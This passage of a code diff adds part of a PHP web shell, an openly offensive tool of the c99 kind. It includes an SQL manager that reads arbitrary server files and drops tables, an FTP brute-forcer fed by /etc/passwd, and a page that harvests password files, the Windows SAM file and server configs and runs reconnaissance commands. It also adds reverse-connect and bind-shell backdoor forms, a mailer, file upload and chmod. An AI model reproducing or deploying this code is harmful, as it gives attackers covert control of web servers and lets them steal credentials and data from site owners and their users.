value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "<b>Process #".$kill." was killed.</b>"; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "</td></tr></table>\n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>"; +} +echo "</table>\n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "<center><table><tr><td class=barheader colspan=2>"; +echo ".: Ftp Quick Brute :.</td></tr>"; +echo "<tr><td>"; +if ($win) { echo "Can't run on Windows!"; } +else { + function tpftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (tpftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."tpsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">". + "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". + "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". + "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". + "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; + } + echo "</td></tr></table></center>"; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } + else { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); tpshexit();} +if ($act == "security") { + echo "<div class=barheader>.: Server Security Information :.</div>\n". + "<table>\n". + "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n"; + echo "<td>Password File</td><td>"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:<br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; } + } + echo "</td></tr>\n"; + echo "<tr><td>Config Files</td><td>\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n"; + } + } + echo "</td></tr>"; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",tpexec("cat /proc/version")); + displaysecinfo("Kernel Version",tpexec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",tpexec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",tpexec("cat /etc/*-realise")); + displaysecinfo("CPU Info",tpexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",tpexec("free -m")); + displaysecinfo("HDD Space",tpexec("df -h")); + displaysecinfo("List of Attributes",tpexec("lsattr -a")); + displaysecinfo("Mount Options",tpexec("cat /etc/fstab")); + displaysecinfo("lynx installed?",tpexec("which lynx")); + displaysecinfo("links installed?",tpexec("which links")); + displaysecinfo("GET installed?",tpexec("which GET")); + displaysecinfo("Where is Apache?",tpexec("whereis apache")); + displaysecinfo("Where is perl?",tpexec("whereis perl")); + displaysecinfo("Locate proftpd.conf",tpexec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",tpexec("locate httpd.conf")); + displaysecinfo("Locate my.conf",tpexec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",tpexec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",tpexec("ver")); + displaysecinfo("Account Settings",tpexec("net accounts")); + displaysecinfo("User Accounts",tpexec("net user")); + } + echo "</table>\n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; } +} +if ($act == "encoder") { +echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>". + "<form name=\"encoder\" action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=encoder>". + "<center><table class=contents>". + "<tr><td colspan=4 class=barheader>.: Encoder :.</td>". + "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>". + "<input type=submit value=\"calculate\"></td></tr>". + "<tr><td rowspan=4>Hashes:</td>"; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>"; +} +echo "</tr>". + "<tr><td rowspan=2>Url:</td>". + "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>". + "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>". + "<tr><td rowspan=2>Base64:</td>". + "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>". + "<tr><td>base64_decode:</td><td>"; +if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";} +else { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; } + else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; } + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>"; +} +echo "</td></tr>". + "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; +$c = strlen($encoder_input); +for($i=0;$i<$c;$i++) { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} +} +echo "\" readonly></td></tr></table></center></form>"; +} +if ($act == "fsbuff") { + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";} + else { + $fx_infohead = "File-System Buffer"; + $ls_arr = $arr; + $disp_fullpath = TRUE; + $act = "ls"; + } +} +if ($act == "selfremove") { + if (($submit == $rndcode) and ($submit != "")) { + if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; tpshexit(); } + else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; } + } + else { + if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\">\n". + "<input type=hidden name=act value=selfremove>". + "<input type=hidden name=rndcode value=\"".$rnd."\">". + "<b>Kill-shell: ".__FILE__." <br>". + "<b>Are you sure? For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=text name=submit>&nbsp;<input type=submit value=\"YES\">\n". + "</form>\n"; + } +} +if ($act == "update") { + $ret = tpsh_getupdate(!!$confirmupdate); + echo "<b>".$ret."</b>"; + if (stristr($ret,"new version")) { + echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">"; + } +} + +if ($act == 'backc') +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo('<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>First, run NetCat on your computer using \'<b>nc -l -n -v -p '.$bc_port.'</b>\'. Then, click "Connect" once the port is listening.</center>'); + echo $msg; + echo $emsg; +} + + +if ($act == 'backd'){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} +if ($act == "mler") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "<center><b>Email sent!</b></center>"; + } + else { echo "<center><b>Can't send email!</b></center>"; } + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=mler>". + "<table class=contents><tr><td class=barheader colspan=2>". + "[ Mailer ]</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>". + "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>". + "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == 'dec') { +?> +<iframe +src ="http://www.md5decrypter.co.uk/" +height="600" +width="100%"> +</iframe> +<?php +} +if ($act == 'rev') { +?> +<iframe +src ="http://www.yougetsignal.com/tools/web-sites-on-web-server//" +height="600" +width="100%"> +</iframe> +<?php +} +if ($act == "search") { + echo "<div class=barheader>.: $sh_name File-System Search :.</div>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {tpfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<table class=contents>". + "<tr><td><form method=POST>". + "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">". + "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>". + "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>". + "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression". + " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only". + " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive". + " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>". + "</table>\n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>". + "<hr size=\"1\" noshade>"; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; + } + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else { + echo "<table><tr><td colspan=2 class=barheader>". + ".: File Upload :.</td>". + "<td 